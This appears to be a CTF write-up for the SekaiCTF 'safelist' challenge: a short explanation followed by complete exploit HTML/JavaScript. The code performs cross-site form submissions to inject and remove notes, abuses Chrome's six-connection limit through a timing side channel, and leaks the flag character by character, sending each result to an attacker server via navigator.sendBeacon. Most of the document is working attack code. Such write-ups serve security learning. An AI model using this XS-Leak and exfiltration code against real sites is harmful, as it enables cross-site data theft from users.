The attacker will inject a note with as many <img tags loading/js/purify.js as possible (more than 6 to block the origin).
Then, the attacker will remove the note with index 1.
Then, the attacker will [make the bot access the page with the reminding note] and will send a request to victim.com/js/purify.js that he will time.
If the time is bigger, the injection was in the note left, if the time is lower, the flag was in there.
Tbh, reading the script I missed some part where the attacker makes the bot load the page to trigger the img tags, I don't see anything like that in the code
<html> <head> <script>constSITE_URL='https://safelist.ctf.sekai.team/';constPING_URL='https://myserver';functiontimeScript(){returnnewPromise(resolve => {var x =document.createElement('script');x.src ='https://safelist.ctf.sekai.team/js/purify.js?'+Math.random();var start =Date.now();x.onerror= () => {console.log(`Time: ${Date.now() - start}`); //Time requestresolve(Date.now() - start);x.remove(); }document.body.appendChild(x); }); }add_note=async (note) => {let x =document.createElement('form')x.action =SITE_URL+"create"x.method ="POST"x.target ="xxx"let i =document.createElement("input");i.type ="text"i.name ="text"i.value = notex.appendChild(i)document.body.appendChild(x)x.submit() }remove_note=async (note_id) => {let x =document.createElement('form')x.action =SITE_URL+"remove"x.method ="POST"x.target ="_blank"let i =document.createElement("input");i.type ="text"i.name ="index"i.value = note_idx.appendChild(i)document.body.appendChild(x)x.submit() }constsleep= ms =>newPromise(resolve =>setTimeout(resolve, ms));// }zyxwvutsrqponmlkjihgfedcba_constalphabet='zyxwvutsrqponmlkjihgfedcba_'var prefix ='SEKAI{xsleakyay';constTIMEOUT=500;asyncfunctioncheckLetter(letter){ // Chrome puts a limit of 6 concurrent request to the same origin. We are creating a lot of images pointing to purify.js
// Depending whether we found flag's letter it will either load the images or not. // With timing, we can detect whether Chrome is processing purify.js or not from our site and hence leak the flag char by char.
const payload = `${prefix}${letter}` + Array.from(Array(78)).map((e,i)=>`<img/src=/js/purify.js?${i}>`).join('');
awaitadd_note(payload);awaitsleep(TIMEOUT);awaittimeScript();awaitremove_note(1); //Now, only the note with the flag or with the injection existshawaitsleep(TIMEOUT);consttime=awaittimeScript(); //Find out how much a request to the same origin takesnavigator.sendBeacon(PING_URL, [letter,time]);if(time>100){return1; }return0; }window.onload=async () => {navigator.sendBeacon(PING_URL,'start');// doesnt work because we are removing flag after success.// while(1){for(constletterof alphabet){if(awaitcheckLetter(letter)){ prefix += letter;navigator.sendBeacon(PING_URL, prefix);break; } }// } }; </script> </head> <body> </body></html>